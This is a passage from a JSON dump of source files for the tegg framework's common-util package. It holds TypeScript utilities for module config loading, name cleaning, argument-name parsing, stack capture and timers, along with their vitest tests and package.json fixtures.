moduleYamlPathExists = fs.existsSync(moduleYamlPath);\n    if (!moduleYamlPathExists) {\n      return;\n    }\n    const moduleYamlContent = fs.readFileSync(moduleYamlPath, 'utf8');\n    return yamlLoad(moduleYamlContent) as ModuleConfig;\n  }\n\n  /**\n   * Deduplicate module references to avoid adding the same module multiple times.\n   * @param moduleReferences array of module references\n   * @return deduplicated module references\n   */\n  public static deduplicateModules(moduleReferences: readonly ModuleReference[]): readonly ModuleReference[] {\n    const moduleMap = new Map<string, ModuleReference>();\n    const nameMap = new Map<string, ModuleReference>();\n\n    for (const moduleRef of moduleReferences) {\n      const key = moduleRef.path;\n      const existingRef = moduleMap.get(key);\n\n      if (existingRef) {\n        const existingOptional = existingRef.optional ?? false;\n        const currentOptional = moduleRef.optional ?? false;\n\n        if (!existingOptional && currentOptional) {\n          continue;\n        } else if (existingOptional && !currentOptional) {\n          if (existingRef.name !== moduleRef.name) {\n            const existingByName = nameMap.get(moduleRef.name);\n            if (existingByName) {\n              throw new Error(\n                `Duplicate module name \"${moduleRef.name}\" found: existing at ${existingByName.path}, duplicate at ${moduleRef.path}`,\n              );\n            }\n          }\n\n          const newModuleRef = {\n            ...moduleRef,\n            optional: false,\n          };\n          moduleMap.set(key, newModuleRef);\n          if (nameMap.get(existingRef.name) === existingRef) {\n            nameMap.delete(existingRef.name);\n          }\n          nameMap.set(newModuleRef.name, newModuleRef);\n          continue;\n        }\n        continue;\n      }\n\n      const existingByName = nameMap.get(moduleRef.name);\n      if (existingByName) {\n        throw new Error(\n          `Duplicate module name \"${moduleRef.name}\" found: existing at ${existingByName.path}, duplicate at ${moduleRef.path}`,\n        );\n      }\n\n      moduleMap.set(key, moduleRef);\n      nameMap.set(moduleRef.name, moduleRef);\n    }\n\n    return Array.from(moduleMap.values());\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/ModuleConfigs.ts",
    "content": "import type { ModuleConfig, ModuleConfigHolder } from '@eggjs/tegg-types';\n\nexport class ModuleConfigs {\n  readonly inner: Record<string, ModuleConfigHolder>;\n\n  constructor(inner: Record<string, ModuleConfigHolder>) {\n    this.inner = inner;\n  }\n\n  get(moduleName: string): ModuleConfig | undefined {\n    return this.inner[moduleName]?.config;\n  }\n}\n\nexport type { ModuleConfig };\n"
  },
  {
    "path": "tegg/core/common-util/src/NameUtil.ts",
    "content": "export class NameUtil {\n  /**\n   * Strip $N suffix added by compiler decorator transforms (e.g., oxc/tsdown).\n   * During decorator downlevel, compilers may rename class expressions to avoid\n   * name conflicts (e.g., BackgroundTaskHelper -> BackgroundTaskHelper$1).\n   */\n  static cleanName(name: string): string {\n    return name.replace(/\\$\\d+$/, '');\n  }\n\n  static getClassName(constructor: Function): string {\n    const name = NameUtil.cleanName(constructor.name);\n    return name[0].toLowerCase() + name.substring(1);\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/ObjectUtils.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nexport class ObjectUtils {\n  static getProperties(obj: object): string[] {\n    const properties: string[] = [];\n    do {\n      for (const property of Object.getOwnPropertyNames(obj)) {\n        properties.push(property);\n      }\n    } while ((obj = Object.getPrototypeOf(obj)) && obj !== Object.prototype);\n    return properties;\n  }\n\n  static getFunctionArgNameList(func: Function): string[] {\n    if (func.length === 0) {\n      return [];\n    }\n    let sourcecode = func.toString();\n    sourcecode = sourcecode\n      // Remove /* ... */\n      .replace(/\\/\\*[\\s\\S]*?\\*\\//g, '')\n      // Remove //\n      .replace(/\\/\\/(.)*/g, '')\n      // Remove { ... }\n      .replace(/{[\\s\\S]*}/, '')\n      // Remove =>\n      .replace(/=>/g, '')\n      .trim();\n    let argsString = sourcecode.substring(sourcecode.indexOf('(') + 1, sourcecode.length - 1);\n    // Remove =(...,...)\n    argsString = argsString.replace(/=\\([\\s\\S]*\\)/g, '');\n    const args = argsString.split(',');\n    const argNames = args\n      .map((arg) => {\n        // Remove default value\n        return arg.replace(/=[\\s\\S]*/g, '').trim();\n      })\n      .filter((arg) => arg.length);\n    return argNames;\n  }\n\n  static getConstructorArgNameList(clazz: EggProtoImplClass): string[] {\n    if (clazz.length === 0) {\n      return [];\n    }\n    const classString = clazz.toString();\n    const constructorMatch = classString.match(/constructor\\s*\\(([^)]+)\\)/);\n    if (!constructorMatch) {\n      return [];\n    }\n    const params = constructorMatch[1].split(',').map((param) => param.trim());\n    return params\n      .map((param) => param.match(/(\\w+)\\s*(?=\\s*(?:=|\\/\\/|\\s*$))/))\n      .filter(Boolean)\n      .map((match) => match![0].trim());\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/ProxyUtil.ts",
    "content": "export class ProxyUtil {\n  static safeProxy<T extends object>(obj: T, getter: (obj: T, p: PropertyKey) => any): T {\n    return new Proxy(obj, {\n      get(target: T, p: PropertyKey): any {\n        // @ts-expect-error No index signature with a parameter of type 'string' was found on type 'Object'.\n        if (Object.prototype[p]) {\n          return Reflect.get(target, p);\n        }\n        return getter(target, p);\n      },\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/StackUtil.ts",
    "content": "import { fileURLToPath } from 'node:url';\nimport util, { type CallSiteObject } from 'node:util';\n\nconst debug = util.debuglog('egg/tegg/core/common-util/StackUtil');\n\n/**\n * Capture call site stack from v8.\n * https://github.com/v8/v8/wiki/Stack-Trace-API\n */\n\nfunction prepareObjectStackTrace(_: Error, stack: NodeJS.CallSite[]) {\n  return stack;\n}\n\nexport class StackUtil {\n  // from egg-core/utils\n  // https://github.com/eggjs/core/blob/5.x/lib/utils/index.js#L51\n  /**\n   * Get the callee file path from the stack.\n   * @param withLine - Whether to include the line number and column number in the result. Default is false.\n   * @param stackIndex - The index of the stack frame to get. Default is 2.\n   * @returns The callee file path from the stack.\n   */\n  static getCalleeFromStack(withLine?: boolean, stackIndex?: number): string {\n    withLine = withLine ?? false;\n    stackIndex = stackIndex ?? 2;\n    const frameCount = 10;\n    let stacks: CallSiteObject[] = [];\n    if (typeof util.getCallSites === 'function') {\n      stacks = util.getCallSites(frameCount);\n    } else {\n      stacks = [];\n      // capture the stack with raw Error.stackTraceLimit and Error.prepareStackTrace\n      const rawStackTraceLimit = Error.stackTraceLimit;\n      const rawPrepareStackTrace = Error.prepareStackTrace;\n      Error.prepareStackTrace = prepareObjectStackTrace;\n      Error.stackTraceLimit = frameCount;\n      const obj: { stack: NodeJS.CallSite[] } = {\n        stack: [],\n      };\n      Error.captureStackTrace(obj);\n      for (let callSite of obj.stack) {\n        stacks.push({\n          scriptName: callSite.getFileName() ?? '',\n          scriptId: callSite.getScriptHash() ?? '',\n          lineNumber: callSite.getLineNumber() ?? 1,\n          columnNumber: callSite.getColumnNumber() ?? 1,\n          functionName: callSite.getFunctionName() ?? '',\n        });\n      }\n      // restore the original Error.stackTraceLimit and Error.prepareStackTrace\n      // must restore after the stack is captured\n      Error.prepareStackTrace = rawPrepareStackTrace;\n      Error.stackTraceLimit = rawStackTraceLimit;\n    }\n\n    if (debug.enabled) {\n      debug(\n        'util.getCallSites stack: \\n------------------------------------------\\n%s\\n------------------------------------------',\n        stacks\n          .map((callSite) => {\n            const fileName = callSite.scriptName ?? '<anonymous>';\n            const lineNumber = callSite.lineNumber ?? '<unknown>';\n            const columnNumber = callSite.columnNumber ?? '<unknown>';\n            const functionName = callSite.functionName;\n            return `${fileName}:${lineNumber}:${columnNumber}:${functionName ? `${functionName}()` : '<anonymous>'}`;\n          })\n          .join('\\n'),\n      );\n    }\n    let callSite = stacks[stackIndex];\n    // skip the @oxc-project/runtime/src/helpers/decorate.js stack frame\n    // node_modules/.pnpm/@oxc-project+runtime@0.92.0/node_modules/@oxc-project/runtime/src/helpers/decorate.js\n    if (callSite) {\n      const fileName = callSite.scriptName;\n      if (fileName.includes('/@oxc-project/runtime/') || fileName.includes('\\\\@oxc-project\\\\runtime\\\\')) {\n        callSite = stacks[stackIndex + 1];\n      }\n    }\n\n    let fileName = '';\n    if (callSite) {\n      // egg-mock will create a proxy\n      // https://github.com/eggjs/egg-mock/blob/master/lib/app.js#L174\n      fileName = callSite.scriptName;\n      if (fileName?.startsWith('file://')) {\n        // remove file://\n        fileName = fileURLToPath(fileName);\n      }\n    }\n\n    if (!callSite || !fileName) {\n      return '<anonymous>';\n    }\n    if (!withLine) {\n      return fileName;\n    }\n    return `${fileName}:${callSite.lineNumber}:${callSite.columnNumber}`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/StreamUtil.ts",
    "content": "import { Stream } from 'node:stream';\n\nexport class StreamUtil {\n  static isStream(obj: any): boolean {\n    return obj instanceof Stream;\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/TimerUtil.ts",
    "content": "class TimeoutError extends Error {\n  constructor(message: string) {\n    super(message);\n    this.name = 'TimeoutError';\n  }\n}\n\nexport class TimerUtil {\n  static TimeoutError: typeof TimeoutError = TimeoutError;\n\n  static async sleep(ms: number): Promise<void> {\n    await new Promise((resolve) => setTimeout(resolve, ms));\n  }\n\n  static async timeout<T>(fn: () => Promise<T>, ms?: number): Promise<T> {\n    if (!ms) {\n      return await fn();\n    }\n\n    let timer: NodeJS.Timeout;\n    const promise = new Promise<T>((resolve, reject) => {\n      timer = setTimeout(() => reject(new TimeoutError('timeout')), ms);\n      fn().then(resolve).catch(reject);\n    });\n\n    return await promise.finally(() => {\n      if (timer) {\n        clearTimeout(timer);\n      }\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/index.ts",
    "content": "import 'reflect-metadata';\nexport * from '@eggjs/tegg-types/common';\n\nexport * from './MapUtil.ts';\nexport * from './NameUtil.ts';\nexport * from './Graph.ts';\nexport * from './ObjectUtils.ts';\nexport * from './FSUtil.ts';\nexport * from './StackUtil.ts';\nexport * from './ProxyUtil.ts';\nexport * from './ModuleConfig.ts';\nexport * from './ModuleConfigs.ts';\nexport * from './StreamUtil.ts';\nexport * from './TimerUtil.ts';\n"
  },
  {
    "path": "tegg/core/common-util/test/MapUtil.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { MapUtil } from '../src/index.js';\n\ndescribe('test/MapUtil.test.ts', () => {\n  it('should set value if key not exists', () => {\n    const map = new Map();\n    const key = 'test_key';\n    const val = 'test_val';\n    const getVal = MapUtil.getOrStore(map, key, val);\n    assert(getVal === val);\n    assert(map.has(key));\n  });\n\n  it('should not set value if key exits', () => {\n    const map = new Map();\n    const key = 'test_key';\n    const val = 'test_val';\n    map.set(key, val);\n    const initVal = 'test_val2333';\n    const getVal = MapUtil.getOrStore(map, key, initVal);\n    assert(initVal !== getVal);\n    assert(getVal === val);\n  });\n});\n"
  },
  {
    "path": "tegg/core/common-util/test/ModuleConfig.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { describe, it, afterEach } from 'vitest';\n\nimport { ModuleConfigUtil } from '../src/index.js';\n\ndescribe('test/ModuleConfig.test.ts', () => {\n  describe('load yaml config', () => {\n    afterEach(() => {\n      ModuleConfigUtil.setConfigNames(undefined);\n    });\n\n    it('should work', () => {\n      const config = ModuleConfigUtil.loadModuleConfigSync(path.join(__dirname, './fixtures/modules/foo-yaml'));\n      assert.deepStrictEqual(config, { mysql: { host: '127.0.0.1' } });\n    });\n\n    it('should load env', () => {\n      const config = ModuleConfigUtil.loadModuleConfigSync(\n        path.join(__dirname, './fixtures/modules/dev-module-config'),\n        undefined,\n        'dev',\n      );\n      assert.deepStrictEqual(config, {\n        mysql: { host: '127.0.0.1', port: 11306 },\n      });\n    });\n\n    it('should load with configNames', async () => {\n      ModuleConfigUtil.setConfigNames(['module.default', 'module.dev']);\n      const config = await ModuleConfigUtil.loadModuleConfig(\n        path.join(__dirname, './fixtures/modules/dev-module-config'),\n      );\n      const configSync = ModuleConfigUtil.loadModuleConfigSync(\n        path.join(__dirname, './fixtures/modules/dev-module-config'),\n      );\n      assert.deepStrictEqual(config, {\n        mysql: { host: '127.0.0.1', port: 11306 },\n      });\n      assert.deepStrictEqual(configSync, {\n        mysql: { host: '127.0.0.1', port: 11306 },\n      });\n    });\n\n    // it('should throw error without initialization', async () => {\n    //   await assert.rejects(async () => {\n    //     await ModuleConfigUtil.loadModuleConfig(path.join(__dirname, './fixtures/modules/dev-module-config'));\n    //   }, /should setConfigNames before load module config/);\n    //\n    //   assert.throws(() => {\n    //     ModuleConfigUtil.loadModuleConfigSync(path.join(__dirname, './fixtures/modules/dev-module-config'));\n    //   }, /should setConfigNames before load module config/);\n    // });\n  });\n\n  describe('load module reference', () => {\n    describe('module.json not exits', () => {\n      it('should work', () => {\n        const fixturesPath = path.join(__dirname, './fixtures/apps/app-with-no-module-json');\n        const ref = ModuleConfigUtil.readModuleReference(fixturesPath);\n        assert.deepStrictEqual(ref, [\n          { path: path.join(fixturesPath, 'app/module-a'), name: 'moduleA' },\n          { path: path.join(fixturesPath, 'app/module-b'), name: 'moduleB' },\n          {\n            path: path.join(fixturesPath, 'app/module-b/test/fixtures/module-e'),\n            name: 'moduleE',\n          },\n          {\n            path: path.join(fixturesPath, 'node_modules/module-c'),\n            name: 'moduleC',\n          },\n        ]);\n      });\n\n      it('duplicated module', () => {\n        const fixturesPath = path.join(__dirname, './fixtures/apps/app-with-no-module-json-duplicated');\n        assert.throws(\n          () => {\n            ModuleConfigUtil.readModuleReference(fixturesPath);\n          },\n          /duplicate import of module reference/,\n          'did not throw with expected message',\n        );\n      });\n\n      describe('has symlink', () => {\n        it('should work', () => {\n          const fixturesPath = path.join(__dirname, './fixtures/apps/app-with-symlink');\n          const ref = ModuleConfigUtil.readModuleReference(fixturesPath);\n          assert.deepStrictEqual(ref, [{ path: path.join(fixturesPath, 'app/module-a'), name: 'moduleA' }]);\n        });\n      });\n    });\n\n    describe('module.json exits', () => {\n      it('should work', () => {\n        const fixturesPath = path.join(__dirname, './fixtures/apps/app-with-module-json');\n        const ref = ModuleConfigUtil.readModuleReference(fixturesPath);\n        assert.deepStrictEqual(ref, [\n          { path: path.join(fixturesPath, 'app/module-a'), name: 'moduleA' },\n          { path: path.join(fixturesPath, 'app/module-b'), name: 'moduleB' },\n        ]);\n      });\n    });\n\n    describe('module.json has pkg', () => {\n      it('should work', () => {\n        const fixturesPath = path.join(__dirname, './fixtures/apps/app-with-module-pkg-json');\n        const ref = ModuleConfigUtil.readModuleReference(fixturesPath, {\n          cwd: fixturesPath,\n        });\n        assert.deepStrictEqual(ref, [\n          {\n            path: path.join(fixturesPath, 'node_modules/module-a'),\n            name: 'moduleA',\n          },\n        ]);\n      });\n    });\n\n    describe('filter module', () => {\n      it('should work', () => {\n        const fixturesPath = path.join(__dirname, './fixtures/apps/app-with-modules');\n        const readModuleOptions = {\n          cwd: fixturesPath,\n          extraFilePattern: ['!**/dist'],\n        };\n        const ref = ModuleConfigUtil.readModuleReference(fixturesPath, readModuleOptions);\n        assert.deepStrictEqual(ref, [{ path: path.join(fixturesPath, 'app/module-a'), name: 'moduleA' }]);\n      });\n    });\n  });\n\n  describe('read package dependencies', () => {\n    it('should success if package.json not exist', async () => {\n      const dir = path.resolve(__dirname, './fixtures/monorepo/foo');\n      const ret = ModuleConfigUtil.readModuleFromNodeModules(dir);\n      assert.deepStrictEqual(ret, []);\n    });\n\n    it('should success whether dependencies entry has exported package.json', async () => {\n      const dir = path.resolve(__dirname, './fixtures/monorepo/packages/d');\n      const ret = ModuleConfigUtil.readModuleFromNodeModules(dir);\n      assert.deepStrictEqual(ret, [\n        {\n          path: path.resolve(__dirname, './fixtures/monorepo/packages/d/node_modules/e'),\n          name: 'e',\n        },\n        {\n          path: path.resolve(__dirname, './fixtures/monorepo/packages/d/node_modules/f'),\n          name: 'f',\n        },\n      ]);\n    });\n\n    it('should read dependencies from self node_modules', async () => {\n      const dir = path.resolve(__dirname, './fixtures/monorepo/packages/a');\n      const ret = ModuleConfigUtil.readModuleFromNodeModules(dir);\n      assert.deepStrictEqual(ret, [\n        {\n          path: path.resolve(__dirname, './fixtures/monorepo/packages/a/node_modules/c'),\n          name: 'c',\n        },\n      ]);\n    });\n\n    it('should read dependencies from parent node_modules', async () => {\n      const dir = path.resolve(__dirname, './fixtures/monorepo/packages/b');\n      const ret = ModuleConfigUtil.readModuleFromNodeModules(dir);\n      assert.deepStrictEqual(ret, [\n        {\n          path: path.resolve(__dirname, './fixtures/monorepo/packages/a'),\n          name: 'a',\n        },\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/common-util/test/NameUtil.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { NameUtil } from '../src/index.js';\n\ndescribe('test/NameUtil.test.ts', () => {\n  it('should work', () => {\n    class Hello {}\n    const name = NameUtil.getClassName(Hello);\n    assert(name === 'hello');\n  });\n});\n"
  },
  {
    "path": "tegg/core/common-util/test/ObjectUtil.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { ObjectUtils } from '../src/index.js';\n\nexport function InitTypeQualifier() {\n  return function (_target: any, _propertyKey?: PropertyKey, _parameterIndex?: number): void {\n    console.log(_target, _propertyKey, _parameterIndex);\n    // ...\n  };\n}\n\nexport function ModuleQualifier(_foo: string) {\n  return function (_target: any, _propertyKey?: PropertyKey, _parameterIndex?: number): void {\n    console.log(_target, _propertyKey, _parameterIndex, _foo);\n    // ...\n  };\n}\n\nexport function Inject(_arg?: any) {\n  return function (_target: any, _propertyKey?: PropertyKey, _parameterIndex?: number): void {\n    console.log(_target, _propertyKey, _parameterIndex, _arg);\n    // ...\n  };\n}\n\ndescribe('test/ObjectUtil.test.ts', () => {\n  it('should work', () => {\n    function mockFunction(/* test */ ctx: object, foo: string, bar = '233') {\n      // test\n      console.log(ctx, foo, bar);\n    }\n\n    const argNames = ObjectUtils.getFunctionArgNameList(mockFunction);\n    assert.deepStrictEqual(argNames, ['ctx', 'foo', 'bar']);\n  });\n\n  it('getConstructorArgNameList should work', () => {\n    class ConstructorObject {\n      constructor(\n        // @ts-expect-error: readonly property in constructor\n        @InitTypeQualifier()\n        @ModuleQualifier('foo')\n        @Inject({ name: 'fooCache' })\n        readonly xCache: any, // fpp...\n        // @ts-expect-error: readonly property in constructor\n        /* test */ @Inject() readonly cache: unknown,\n        // @ts-expect-error: readonly property in constructor\n        readonly v233 = 666,\n      ) {}\n    }\n\n    const argNames = ObjectUtils.getConstructorArgNameList(ConstructorObject);\n    assert.deepStrictEqual(argNames, ['xCache', 'cache', 'v233']);\n  });\n});\n"
  },
  {
    "path": "tegg/core/common-util/test/ProtoGraph.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport type { GraphNodeObj } from '@eggjs/tegg-types';\nimport { describe, it } from 'vitest';\n\nimport { GraphNode, Graph } from '../src/index.js';\n\ndescribe('test/LoadUnit/Graph.test.ts', () => {\n  class GraphNodeVal implements GraphNodeObj {\n    id: string;\n\n    constructor(id: string) {\n      this.id = id;\n    }\n\n    toString() {\n      return `id:${this.id}`;\n    }\n  }\n\n  describe('hasLoop', () => {\n    it('if has loop, should return path', () => {\n      const graph = new Graph();\n      const node1 = new GraphNode(new GraphNodeVal('1'));\n      const node2 = new GraphNode(new GraphNodeVal('2'));\n      const node3 = new GraphNode(new GraphNodeVal('3'));\n      const node4 = new GraphNode(new GraphNodeVal('4'));\n      const node5 = new GraphNode(new GraphNodeVal('5'));\n      graph.addVertex(node2);\n      graph.addVertex(node3);\n      graph.addVertex(node1);\n      graph.addVertex(node4);\n      graph.addVertex(node5);\n\n      graph.addEdge(node1, node5);\n      graph.addEdge(node1, node2);\n      graph.addEdge(node2, node3);\n      graph.addEdge(node3, node1);\n\n      const loopPath = graph.loopPath();\n      assert(loopPath!.toString() === 'id:2 -> id:3 -> id:1 -> id:2');\n    });\n\n    it('if do not has loop, should return undefined', () => {\n      const graph = new Graph();\n      const node1 = new GraphNode({ id: '1' });\n      const node2 = new GraphNode({ id: '2' });\n      const node3 = new GraphNode({ id: '3' });\n      const node4 = new GraphNode({ id: '4' });\n      const node5 = new GraphNode({ id: '5' });\n      graph.addVertex(node2);\n      graph.addVertex(node3);\n      graph.addVertex(node1);\n      graph.addVertex(node4);\n      graph.addVertex(node5);\n\n      graph.addEdge(node1, node5);\n      graph.addEdge(node1, node2);\n      graph.addEdge(node2, node3);\n      graph.addEdge(node3, node4);\n\n      const loopPath = graph.loopPath();\n      assert(!loopPath);\n    });\n  });\n\n  describe('sort', () => {\n    it('can not access vertex should at first', () => {\n      const graph = new Graph();\n      const node1 = new GraphNode({ id: '1' });\n      const node2 = new GraphNode({ id: '2' });\n      const node3 = new GraphNode({ id: '3' });\n      graph.addVertex(node1);\n      graph.addVertex(node2);\n      graph.addVertex(node3);\n      graph.addEdge(node2, node3);\n      const sortRes = graph.sort();\n      assert(sortRes[0] === node1);\n    });\n\n    it('should have reverse order with access direct', () => {\n      const graph = new Graph();\n      const node1 = new GraphNode({ id: '1' });\n      const node2 = new GraphNode({ id: '2' });\n      const node3 = new GraphNode({ id: '3' });\n      const node4 = new GraphNode({ id: '4' });\n      const node5 = new GraphNode({ id: '5' });\n      graph.addVertex(node1);\n      graph.addVertex(node2);\n      graph.addVertex(node3);\n      graph.addVertex(node4);\n      graph.addVertex(node5);\n      graph.addEdge(node1, node2);\n      graph.addEdge(node2, node5);\n      graph.addEdge(node3, node4);\n      graph.addEdge(node4, node5);\n      const sortRes = graph.sort();\n      assert.deepStrictEqual(sortRes, [node5, node2, node1, node4, node3]);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/common-util/test/StackUtil.test.ts",
    "content": "import { describe, expect, it } from 'vitest';\n\nimport { StackUtil } from '../src/index.ts';\n\n// Helper functions to create predictable stack frames\nfunction helperGetStack(withLine?: boolean, stackIndex?: number) {\n  return StackUtil.getCalleeFromStack(withLine, stackIndex);\n}\n\nfunction nestedHelper1() {\n  return nestedHelper2();\n}\n\nfunction nestedHelper2() {\n  return nestedHelper3();\n}\n\nfunction nestedHelper3() {\n  // Default stackIndex (2) should point to nestedHelper2\n  return StackUtil.getCalleeFromStack(true);\n}\n\n// don't run on windows, because the file path is suck\n// D:/a/egg/egg/tegg/core/common-util/test/StackUtil.test.ts\ndescribe.skipIf(process.platform === 'win32')('test/StackUtil.test.ts', () => {\n  describe('getCalleeFromStack()', () => {\n    it('should get caller file name without line number', () => {\n      // Use a helper function to create a predictable stack\n      const callerFile = helperGetStack(false);\n      expect(callerFile).toMatch(/StackUtil\\.test\\.ts$/);\n      expect(callerFile).not.toContain(':');\n    });\n\n    it('should get caller file name with line number', () => {\n      // Use a helper function to create a predictable stack\n      const callerFile = helperGetStack(true);\n      expect(callerFile).toContain('StackUtil.test.ts');\n      expect(callerFile).toContain(':');\n      // Should have format: filename:line:column\n      const parts = callerFile.split(':');\n      expect(parts.length).toBeGreaterThanOrEqual(3);\n      const lineNumber = parseInt(parts[parts.length - 2]);\n      const columnNumber = parseInt(parts[parts.length - 1]);\n      expect(lineNumber).not.toBeNaN();\n      expect(columnNumber).not.toBeNaN();\n    });\n\n    it('should get caller file name with custom stack index', () => {\n      // Test that different stack indices return different frames\n      const callerFile2 = helperGetStack(false, 2);\n      const callerFile3 = helperGetStack(false, 3);\n      const callerFile4 = helperGetStack(false, 4);\n\n      // At least one of them should be our test file\n      const hasTestFile =\n        callerFile2.endsWith('StackUtil.test.ts') ||\n        callerFile3.endsWith('StackUtil.test.ts') ||\n        callerFile4.endsWith('StackUtil.test.ts');\n      expect(hasTestFile).toBe(true);\n    });\n\n    it('should work with nested function calls', () => {\n      const callerFile = nestedHelper1();\n      expect(callerFile).toContain('StackUtil.test.ts');\n      expect(callerFile).toContain(':');\n    });\n\n    it('should return <anonymous> for invalid stack index', () => {\n      // Using a very large stack index that doesn't exist via helper\n      const callerFile = helperGetStack(false, 999);\n      expect(callerFile).toBe('<anonymous>');\n    });\n\n    it('should work with different stack depths', () => {\n      function deeplyNested() {\n        function level1() {\n          function level2() {\n            function level3() {\n              // stackIndex 2 points to level2\n              // stackIndex 3 points to level1\n              // stackIndex 4 points to deeplyNested\n              return StackUtil.getCalleeFromStack(true, 4);\n            }\n            return level3();\n          }\n          return level2();\n        }\n        return level1();\n      }\n\n      const callerFile = deeplyNested();\n      expect(callerFile).toContain('StackUtil.test.ts');\n      expect(callerFile).toContain(':');\n    });\n\n    it('should handle default stackIndex parameter', () => {\n      const callerFile1 = helperGetStack();\n      const callerFile2 = helperGetStack(false, undefined);\n      const callerFile3 = helperGetStack(false, 2);\n\n      // All should return similar results (same file)\n      expect(callerFile1).toMatch(/StackUtil\\.test\\.ts$/);\n      expect(callerFile2).toMatch(/StackUtil\\.test\\.ts$/);\n      expect(callerFile3).toMatch(/StackUtil\\.test\\.ts$/);\n    });\n\n    it('should get absolute file path', () => {\n      const callerFile = helperGetStack();\n      // Should be an absolute path (Unix or Windows)\n      expect(callerFile).toMatch(/^(\\/|[A-Z]:\\\\)/);\n    });\n\n    it('should format with line and column correctly', () => {\n      const callerFileWithLine = helperGetStack(true);\n      const callerFileWithoutLine = helperGetStack(false);\n\n      // With line should contain the file path from without line\n      expect(callerFileWithLine.startsWith(callerFileWithoutLine)).toBe(true);\n\n      // Extract and validate line and column numbers\n      const suffix = callerFileWithLine.slice(callerFileWithoutLine.length);\n      expect(suffix).toMatch(/^:\\d+:\\d+$/);\n    });\n\n    it('should handle consecutive calls from same location', () => {\n      const call1 = helperGetStack(true);\n      const call2 = helperGetStack(true);\n\n      // Both calls should return the same file\n      const file1 = call1.split(':').slice(0, -2).join(':');\n      const file2 = call2.split(':').slice(0, -2).join(':');\n      expect(file1).toBe(file2);\n\n      // Line numbers should be different (consecutive lines)\n      const line1 = parseInt(call1.split(':').slice(-2)[0]);\n      const line2 = parseInt(call2.split(':').slice(-2)[0]);\n      expect(line2).toBe(line1 + 1);\n    });\n\n    it('should work when called from arrow functions', () => {\n      const arrowFunction = () => {\n        return StackUtil.getCalleeFromStack(true);\n      };\n\n      const callerFile = arrowFunction();\n      expect(callerFile).toContain('StackUtil.test.ts');\n      expect(callerFile).toContain(':');\n    });\n\n    it('should work when called from class methods', () => {\n      class TestClass {\n        getStack() {\n          return StackUtil.getCalleeFromStack(true);\n        }\n      }\n\n      const instance = new TestClass();\n      const callerFile = instance.getStack();\n      expect(callerFile).toContain('StackUtil.test.ts');\n      expect(callerFile).toContain(':');\n    });\n\n    it('should work when called from static methods', () => {\n      class TestClass {\n        static getStack() {\n          return StackUtil.getCalleeFromStack(true);\n        }\n      }\n\n      const callerFile = TestClass.getStack();\n      expect(callerFile).toContain('StackUtil.test.ts');\n      expect(callerFile).toContain(':');\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/common-util/test/TimerUtil.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { TimerUtil } from '../src/index.js';\n\ndescribe('test/TimerUtil.test.ts', () => {\n  it('should sleep work', async () => {\n    const start = Date.now();\n    await TimerUtil.sleep(3);\n    const use = Date.now() - start;\n    assert(use > 1, `use time ${use}ms`);\n  });\n});\n"
  },
  {
    "path": "tegg/core/common-util/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"FSUtil\": [Function],\n  \"Graph\": [Function],\n  \"GraphNode\": [Function],\n  \"GraphPath\": [Function],\n  \"MapUtil\": [Function],\n  \"ModuleConfigUtil\": [Function],\n  \"ModuleConfigs\": [Function],\n  \"ModuleReferenceConfigHelp\": [Function],\n  \"NameUtil\": [Function],\n  \"ObjectUtils\": [Function],\n  \"ProxyUtil\": [Function],\n  \"StackUtil\": [Function],\n  \"StreamUtil\": [Function],\n  \"TimerUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-module-json/app/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"eggModule\": {\n    \"name\": \"moduleA\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-module-json/app/module-b/package.json",
    "content": "{\n  \"name\": \"module-b\",\n  \"eggModule\": {\n    \"name\": \"moduleB\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-module-json/config/module.json",
    "content": "[{ \"path\": \"../app/module-a\" }, { \"path\": \"../app/module-b\" }]\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-module-json/package.json",
    "content": "{\n  \"name\": \"foo\"\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-module-pkg-json/config/module.json",
    "content": "[{ \"package\": \"module-a\" }]\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-module-pkg-json/node_modules/module-a/index.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-module-pkg-json/node_modules/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"main\": \"index.js\",\n  \"eggModule\": {\n    \"name\": \"moduleA\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-module-pkg-json/package.json",
    "content": "{\n  \"name\": \"foo\"\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-modules/app/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"eggModule\": {\n    \"name\": \"moduleA\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-modules/package.json",
    "content": "{\n  \"name\": \"foo\"\n}\n"
  },
  {
